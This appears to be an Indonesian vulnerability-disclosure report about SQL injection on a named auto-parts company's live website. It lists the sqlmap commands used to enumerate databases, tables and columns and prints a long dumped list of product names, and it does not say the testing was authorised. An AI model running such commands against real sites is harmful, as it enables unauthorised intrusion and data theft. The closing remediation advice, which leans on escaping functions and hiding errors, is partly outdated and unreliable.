Anda di halaman 1dari 18

LAPORAN PENETRATION TESTING

Bagus Erwanto | Bagus251001@gmail.com

LAPORAN CELAH KEAMANAN


SAS AUTOPARTS

Dilaporkan Oleh :

Bagus Erwanto

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


DAFTAR ISI

RINGKASAN HASIL

SKENARIO PENETRASI
Sql Injection
KESIMPULAN
Saran

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

RINGKASAN HASIL
Saya Bagus Erwanto menemukan celah bug pada website SAS AUTOPARTS yang
beralamatkan : https://www.sas-autoparts.com/

SQL Injection
Injeksi SQL (Bahasa Inggris: SQL Injection)adalah sebuah teknik yang
menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data
sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar
dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL
atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai
harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan
yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau
skrip diimbuhkan di dalam bahasa yang lain.

Celah diatas termasuk celah level tinggi karena dampaknya sangat fatal

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

SKENARIO PENETRASI

Pada 15 Juni 2019, pukul 20:30 WIB saya melakukan penetration testing pada website
SAS AUTOPARTS : https://www.sas-autoparts.com/ , terlihat bahwa website tersebut baik
– baik saja disini, namun disini saya menlihat pada pagee hubungi kami , dan saya
mencoba untuk mengeceknya.

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

Pada page hubungi kami juga masih baik - baik saja.

Disini saya mencoba untuk mengecek celah sql nya dengan cara menambah karakter sting
(*) pada https://www.sas-autoparts.com/cabang.php?id=Palur’

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

Dan benar saja website tersebut vulnerable sql injection, tidak menunggu lama saya langsung
mencoba untuk mengecek nya menggunakan tools sqlmap. Dengan perintah sudo sqlmap -
u "https://www.sas-autoparts.com/cabang.php?id=Palur"

Dapat terlihat disini web tersebut vuln. Selanjutnya saya akan mencoban untuk melihat
database nya menggunakan perintah
sudo sqlmap -u "https://www.sas-autoparts.com/cabang.php?id=Palur" –dbs

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

[+] information_schema
[+] sasautob_web
Ini adalah isi database mysql nya

Saya akan mencoba untuk melihat isi dari database [+] sasautob_web menggunakan perintah
sudo sqlmap -u "https://www.sas-autoparts.com/cabang.php?id=Palur" -D sasautop_web –
tables . sasautob_web memiliki 7 tables :
+-------------+
| cabang |
| karir |
| news |
| page |
| produk |
| produkgroup |
| toko |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

Perintah sudo sqlmap -u "https://www.sas-autoparts.com/cabang.php?id=Palur" -D


sasautop_web -T produk –columns
+------------+--------------+
| Column | Type |
+------------+--------------+
| createdon | date |
| gambar | varchar(255) |
| groupID | text |
| kodebarang | varchar(255) |
| namabarang | varchar(255) |
| roda | int(11) |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

Perintah sudo sqlmap -u "https://www.sas-autoparts.com/cabang.php?id=Palur" -D


sasautop_web -T produk -C namabarang –dump

[415 entries]
+--------------------------------------------------------------------------------+
| namabarang |
+--------------------------------------------------------------------------------+
[10:13:07] [WARNING] console output will be trimmed to last 256 rows due to large table size
| FUEL COCK JUPITER-MX ZENKU |
| FUEL COCK RX-K HTS |
| FUEL COCK RX-K NEW ZENKU |
| FUEL COCK RX-K ZENKU |
| FUEL COCK SHOGUN ZENKU |
| FUEL GAUGE BEAT ZENKU |
| FUEL GAUGE FORCE-1 ZENKU |
| FUSE DX 10AH SAS |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| FUSE DX 30AH SAS |
| GAS TANK CAP C-70 |
| GAS TANK CAP CB-100K5 BLACK ZENKU |
| GAS TANK CAP CB-100K5 CHROME ZENKU |
| GAS TANK CAP GL-PRO ZENKU |
| GAS TANK CAP NINJA ZENKU |
| GASKET FULLSET SUPRA ZENKU |
| GASKET FULLSET VEGA ZR ZENKU |
| GASKET TOPSET SMASH ZENKU |
| GASKET TOPSET SUPRA FIT NEW/LEGENDA ZENKU |
| GASOLINE TANK/TANGKI BENSIN MEGA PRO NEW BLACK ZENKU |
| GASOLINE TANK/TANGKI BENSIN MEGA PRO NEW RED ZENKU |
| GASOLINE TANK/TANGKI BENSIN MEGA PRO ZENKU |
| GASOLINE TANK/TANGKI BENSIN RX-K ZENKU |
| GASOLINE TANK/TANGKI BENSIN RX-S ZENKU |
| GASOLINE TANK/TANGKI BENSIN SUPRA ZENKU |
| GASOLINE TANK/TANGKI BENSIN VIXION BLACK ZENKU |
| GRILL LAMP LH PS-100 BGF |
| GRILL LAMP LH PS-100 BGF |
| HAND BRAKE DRUM DYNA HT BGF |
| HAND BRAKE DRUM PS-120 NEW BGF |
| HAND BRAKE DRUM RINO/PS-115 BGF |
| HANDLE BRAKE ONLY SHOGUN DISC BRAKE ZENKU |
| HEAD LAMP ASSY W/CABLE BULB VARIO TECHNO XANADU |
| HOLDER LH C-70 ZENKU |
| HOLDER LH GRAND ZENKU |
| HOLDER LH SHOGUN ZENKU |
| HOLDER RH C-70 ZENKU |
| HOLDER RH GRAND ZENKU |
| HOLDER RH SHOGUN ZENKU |
| HOUSING NUT ASSY LH DYNASAURUS HT |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| HOUSING NUT ASSY RH PS-100 TYPE "A" BGF |
| HOUSING NUT ASSY RH/LH RINO TYPE "A" BGF |
| HOUSING STARTER FRONT ONLY KF-40 BGF 28110-13070 |
| HOUSING STARTER FRONT ONLY PS-120 MT-017092 |
| HOUSING STARTER FRONT ONLY ST-100 BGF 31151-79620 |
| HOUSING STARTER FRONT ONLY SUZUKI FUTURA BGF 31151-27550 |
| HOUSING STARTER FRONT ONLY SUZUKI T5/EXTRA BGF 31150-85020 |
| HOUSING STARTER FRONT ONLY T-120 BGF |
| HOUSING STARTER REAR ONLY PS-100/PS-120 BGF M-644B10601KB |
| HOUSING THERMOSTAT PS-100/PS-120 BGF ME-015453 |
| IGNITION COIL GRAND ZENKU |
| IGNITION COIL SMASH ZENKU |
| KARET TENSIONER SATRIA FU 150 W/BLISTER HTS |
| KICK STARTER C-700,ASTREA,GRAND,C-800 ZENKU |
| KICK STARTER C-700,ASTREA,GRAND,C-800,SUPRA SAS/BGF |
| KICK STARTER FORCE-1,ALFA SAS/BGF |
| KICK STARTER FORCE-1,ALFA ZENKU |
| LEG SHIELD DALAM RH/LH SUPRA FIT NEW/FIT-S/FIT-X ZENKU 64400/64450-KTL-690FMB |
| LEG SHIELD LUAR RH/LH KHARISMA W/PLASTIC BAG |
| LEG SHIELD TENGAH SUPRA/SUPRA FIT 2007 ZENKU 64320-KEV-880ZAFMB |
| LENS STOP ONLY PS-135 RED BGF |
| LENS TURN ONLY PS-135 YELLOW BGF |
| LENS TURN ONLY FUSO YELLOW BGF |
| MAIN PIPE COVER RH/LH REVO NEW 110 ZENKU 64400/64450-KWW-A00 FMB |
| MAIN SWITCH ASSY BEAT ZENKU |
| MAIN SWITCH ASSY JUPITER ZENKU |
| MAIN SWITCH ASSY SATRIA 150 ZENKU |
| MAIN SWITCH GL-PRO ZENKU |
| MAIN SWITCH GRAND ZENKU |
| MAIN SWITCH JUPITER-Z ZENKU |
| MAIN SWITCH SHOGUN ZENKU |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| MIRROR RINO DYNASAURUS S&S/HTS 7053 |
| MIRROR FE-111 S&S/HTS YH-1313/8083 |
| MIRROR FUSO FM HTS YH-135/8032 |
| MIRROR LH ESPASS 1600 CC S&S/HTS 5077 |
| MIRROR LH FUTURA MINIBUS S&S/HTS 4166 |
| MIRROR LH FUTURA PICK-UP S&S/HTS 4176 |
| MIRROR LH HINO LOHAN HTS |
| MIRROR LH KF 7K 2003 HTS |
| MIRROR LH KF-50 S&S/HTS 7026 |
| MIRROR LH NISSAN HTS-6424 CW-520 |
| MIRROR LH PANTHER S&S/HTS 6116 |
| MIRROR LH S-88 S&S/HTS 5066 |
| MIRROR LH T-120 SS S&S/HTS 8146 |
| MIRROR LH/RH FIGHTER S&S/HTS 8041 |
| MIRROR LH/RH FIGHTER S&S/HTS 8041 |
| MIRROR MERCY HTS 2268 |
| MIRROR NISSAN HTS YH-131 |
| MIRROR RH KF-50 S&S/HTS 7024 |
| MIRROR RH W/O HANDLE L-300 S&S/HTS 8034 |
| MIRROR RH/LH NISSAN HTS-6209 CK-12 |
| MIRROR RH/LH PS-125 TURBO INTERCOOLER HTS |
| MIRROR RH/LH PS-135 S&S/HTS 8084 |
| MIRROR RH/LH RINO/PS-115 S&S/HTS 7062 |
| PIGTAIL SOCKET SINGLE CAR SHOW CS-132021 |
| PISTON KIT GL-PRO NEOTECH 0.25 ZENKU |
| PISTON KIT GRAND STD ZENKU |
| PISTON KIT MIO 0.50 ZENKU |
| PISTON KIT MIO 0.75 ZENKU |
| PISTON KIT MIO 1.00 ZENKU |
| PISTON KIT MIO STD ZENKU |
| PISTON KIT SMASH/SMASH NEW STD ZENKU |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| PRIMARY CLUTCH ASSY GRAND / GN5 W/BLISTER ZENKU |
| PRIMARY CLUTCH ASSY SPIN W/BLISTER ZENKU |
| PRIMARY CLUTCH ASSY VARIO W/BLISTER ZENKU |
| PROPELLER SHAFT ASSY REAR PS-125/PS-135 WYR MC-075420 |
| PROPELLER SHAFT ASSY S-89 PENDEK WYR 37110-87548-011 |
| PROPELLER SHAFT ASSY S-89/S-91 JUMBO LONG WYR NEW 77.8 CM |
| PROPELLER SHAFT ASSY T-5 EXTRA WYR 27110-77310 |
| PULLY ASSY MIO ZENKU |
| PULLY MIO |
| PUSH PULL SWITCH JK-106 |
| RADIATOR ASSY NKR'66 BGF 8-97162142-0 |
| RADIUS RAINBOW 10G-157 ZRD |
| REAR AXLE GRAND ZENKU/BGF |
| REAR AXLE SHAFT RINO DYNASAURUS TYPE A |
| REAR AXLE SUPRA FIT NEW ZENKU/BGF |
| REAR BOLT GEAR YB-100 ZENKU |
| REAR CUSHION CB-150 R ( K15 ) TYPE A HTS |
| REAR CUSHION FORCE-1 CHROME NEW JJ |
| REAR CUSHION JUPITER MX (1S7) TYPE A HTS |
| REAR CUSHION MIO (28D) TYPE A HTS |
| REAR CUSHION MIO-J (54P) TYPE A HTS |
| REAR CUSHION VARIASI BLACK UNIVERSAL ZENKU XF-003-270MM |
| REAR CUSHION VARIASI BLUE UNIVERSAL ZENKU XF-003-270MM |
| REAR CUSHION VARIASI RED KOTO-01 270MM |
| REAR CUSHION VARIASI RED UNIVERSAL ZENKU XF-003-270MM |
| REAR CUSHION VARIASI WHITE UNIVERSAL ZENKU XF-003-270MM |
| REAR CUSHION VIXION NEW YELLOW TYPE A HTS 1PA-F2210-00 |
| REAR FENDER C-70 RED ZENKU |
| REAR FENDER SUPRA ZENKU |
| REAR SPROCKET 38T JUPITER-Z W/BLISTER ZENKU |
| REAR SPROCKET 40T JUPITER-MX ZENKU |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| REAR SPROCKET 40T SUPRA FIT NEW ZENKU |
| REAR SPROCKET 45T SUPRA FIT NEW ZENKU |
| ROLLER CHAIN 420 X 104 SPEED |
| ROLLER CHAIN 420 X 108 SPEED |
| ROLLER CHAIN 428 X 104 EAGLE |
| ROLLER CHAIN 428 X 104 SPEED |
| ROLLER CHAIN 428 X 106 EAGLE |
| ROLLER CHAIN 428 X 106 SPEED |
| ROLLER CHAIN 428 X 110 EAGLE |
| ROLLER CHAIN 428 X 110 HTS |
| ROLLER CHAIN 428 X 110 SPEED |
| ROLLER CHAIN 428 X 112 SPEED |
| ROLLER CHAIN 520 X 106 HTS |
| ROLLER CHAIN CHROME 428 X 104 TYPE H (HQ) ZENKU |
| ROLLER CHAIN CHROME 428 X 106 TYPE H (HQ) ZENKU |
| ROLLER CHAIN GOLD 428 X 104 TYPE H (HQ) ZENKU |
| ROLLER CHAIN ZINC CHROME 428 X 100 SPEED HQ W/PREES PACKING |
| RUBBER CUSHION FUSO FM BGF MC-881040 |
| RUBBER CUSHION PS-100 BGF MB-000076 |
| RUBBER CUSHION PS-120 BGF MB-563204 |
| RUBBER SUPORT FUTURA BGF |
| SHAFT PIVOT KHARISMA ZENKU/BGF |
| SHAFT PIVOT SHOGUN ZENKU/BGF |
| SHOCK ABSORBER FRONT LH AVANZA/XENIA THM 48520-BZ120 |
| SHOCK ABSORBER FRONT LH INNOVA THM 48520-OK080 |
| SHOCK ABSORBER REAR RH/LH AVANZA/XENIA THM 48531-BZ090 |
| SOCKET RELLAY WO/CABLE BLACK BGF |
| SOCKET SEALED BEAM WO/CABLE BLACK |
| SPEEDMETER ASSY CB-100 ZENKU |
| SPEEDMETER ASSY SUPRA 125 INJECTION ZENKU |
| SPEEDMETER ASSY VIXION ZENKU |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| SPEEDMETER CABLE GL-PRO/MAX ZENKU |
| SPEEDMETER CABLE GL-WIN ZENKU |
| SPEEDMETER CABLE JUPITER MX HTS TYPE "A" |
| SPEEDMETER CABLE JUPITER MX ZENKU |
| SPEEDMETER CABLE THUNDER 125 ZENKU |
| SPEEDMETER CABLE VARIO HTS TYPE "A" |
| SPEEDMETER GEAR ASSY (GEAR BOX) JUPITER-MX ZENKU |
| SPEEDMETER GEAR ASSY (GEAR BOX) MEGA PRO NEW ZENKU |
| SPEEDMETER GEAR ASSY (GEAR BOX) REVO ABSOLUTE ZENKU |
| SPEEDMETER GEAR ASSY (GEAR BOX) SHOGUN NEW ZENKU |
| SPEEDMETER GEAR ASSY (GEAR BOX) SUPRA-X ZENKU |
| SPION VARIASI QX-1204-2 BLUE ZRD |
| SPION VARIASI ZRD-1188-5 WHITE ZRD |
| SPRING BUSHING RUBBER W/RING IZUSU KAD-51 BGF 5-51351-007-ON |
| SPROCKET SET JUPITER-MX SPEED |
| SPROCKET SET REVO ABSOLUTE (37T/14T) (428) SPEED |
| SPROCKET SET SMASH ZENKU/SAS/NEPCO/SPEED |
| STARTING MOTOR ASSY MIO ZENKU |
| STARTING MOTOR ASSY SATRIA FU-150 ZENKU 31100-47E10-000 |
| STATER BUTTON RRC JK-260 |
| STATOR ASSY GRAND + FUSER W/MIKA BOX ZENKU |
| STATOR ASSY JUPITER Z ZENKU |
| STATOR ASSY JUPITER-MX + FUSER W/MIKA BOX ZENKU |
| STOP LAMP ASSY CB-100 XANADU |
| STOP LAMP ASSY SUPRA S&S/XANADU |
| STOP LAMP ASSY W/ SOCKET LH FUSO BGF |
| STOP LAMP ASSY W/ SOCKET RH FUSO BGF |
| STOP LAMP SOCKET W/CABLE DOUBLE UNIVERSAL HTS HTS-132022 |
| SWITCH REM (STOP SWITCH) T-120/FE RRC JK-210 |
| SWITCH STARTER GRAND ZENKU |
| SWITCH STARTER SHOGUN UNIVERSAL ZENKU |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| THROTTLE CABLE JUPITER-Z ZENKU |
| THROTTLE CABLE SATRIA FU-150 HTS TYPE A |
| THROTTLE CABLE SHOGUN-125 ZENKU |
| THROTTLE CABLE SUPRA FIT ZENKU |
| THROTTLE CABLE SUPRA HTS TYPE A |
| THROTTLE CABLE SUPRA X-125 ZENKU |
| THROTTLE CABLE THUNDER 125 ZENKU |
| THROTTLE CABLE VARIO HTS TYPE A |
| THROTTLE CABLE VIXION HTS TYPE A |
| TIMING BELT BEAT ZENKU |
| TIMING BELT VARIO ZENKU |
| TOGGLE SWITCH JK-812-1-D |
| TROLLY JACK 2 TON TAS (SMALL) DNG |
| TROLLY JACK 2 TON TAS (SMALL) DNG |
| TROLLY JACK 2 TON TAS (SMALL) DNG |
| TROMOL BELAKANG F-70 BGF |
| TROMOL BELAKANG FUTURA/T-120 SS BGF |
| TROMOL BELAKANG T-200/PS-100 ENGKEL BGF |
| TROMOL BELAKANG TOYOTA HILUX 3000 CC 42431-OK120 |
| TROMOL DEPAN KF-40/KF-20 STANDARD BGF |
| TROMOL DEPAN S-70/S-75BGF |
| TROMOL DEPAN S-70/S-75BGF |
| TROMOL DEPAN ST-20 BGF |
| TROMOL DEPAN T-120 BGF |
| U BOLT & NUT (GANTUNGAN PER) M-20X83X500 SHAPE ROUND |
| U BOLT & NUT (GANTUNGAN PER) M-27X83X400 SHAPE L FLAT |
| U BOLT & NUT (GANTUNGAN PER) M-27X93X380X3 |
| UNIVERSAL JOINT INNOVA / XENIA / AVANZA KOYO LB GUT-17 |
| UNIVERSAL JOINT ORANGE PACKING NKR-71 KOYO LB GUIS-66 |
| W/C ASSY ALM FR WO/NPL R 1 1/8 T-120/L-300 BGF MB-044813 |
| W/C ASSY FR LH W/NPL DYNA HT/LT 125 BGF 47530-37080 |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


| W/C ASSY FR LH W/O NPL DYNA HT/LT 12 BGF 47540-37080 |
| WINDOW REGULATOR RH DYNA/DUTRO HENYU 69801-37040 |
| WIPER BLADE 12" 3 CLIP W/BLISTER TOP BQ088-12 |
| WIPER BLADE 12" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 13" 3 CLIP W/BLISTER TOP BQ088-13 |
| WIPER BLADE 13" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 14" 3 CLIP W/BLISTER TOP BQ088-14 |
| WIPER BLADE 14" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 15" 3 CLIP W/BLISTER TOP BQ088-15 |
| WIPER BLADE 15" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 16" 3 CLIP W/BLISTER TOP BQ088-16 |
| WIPER BLADE 16" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 17" 3 CLIP W/BLISTER TOP BQ088-17 |
| WIPER BLADE 17" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 18" 3 CLIP W/BLISTER TOP BQ088-18 |
| WIPER BLADE 18" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 20" 4 CLIP W/BLISTER TOP BQ088-20" |
| WIPER BLADE 20" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 22" 4 CLIP W/BLISTER TOP BQ088-22" |
| WIPER BLADE 22" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER BLADE 24" 4 CLIP W/BLISTER TYPE "A" LIANG BOSHI |
| WIPER LINK ASSY L-300 D HENYU |
| WIPER LINK ASSY NISSAN CK-12 HENYU 28840-75012 |
| WIPER LINK ASSY PS-135 HENYU OEM 896055 |
| WIPER LINK ASSY S-75 HENYU 85160-87510 |
| WIPER LINK ASSY S-88 HENYU 85160-87515 |
| WIPER LINK ASSY SJ-410 HENYU |
| WIPER MOTOR 12V NKR BGF 8-97855012-0 |
| YOKE SLEEVE KF-20/4K WYR 37302-20040 |
| YOKE SLEEVE L-300 B WYR MB-154291 |
| YOKE SLEEVE S-75 WYR 37302-87506 |

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved


LAPORAN PENETRATION TESTING

KESIMPULAN
Saran

Remediation/Fix Solusi atau cara mencegah SQL Injection

Mengamankan Dari Serangan SQL Injection


ada beberapa cara yang bisa kita lakukan untuk mengatasi serangan SQL injection , kita bisa
membuat script anti SQL injection dengan memanfaatkan fungsi bawan dari PHP yaitu
mysql_real_escape atau mysql_real_escape_string. cara penggunaanya adalah sebagai
berikut : $id = mysql_real_escape_string($_POST['id']);

selain cara di atas, ada beberapa tips aplikatif yang bisa anda gunakan untuk mengamankan
web anda dari serangan SQL injection, berikut ini tips nya :

1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode
program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa
diinject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input
Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures
jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security
tab

Republik Indonesia, 15 Juni 2019

Copyright © 2019 Bagus Erwanto| All right reserved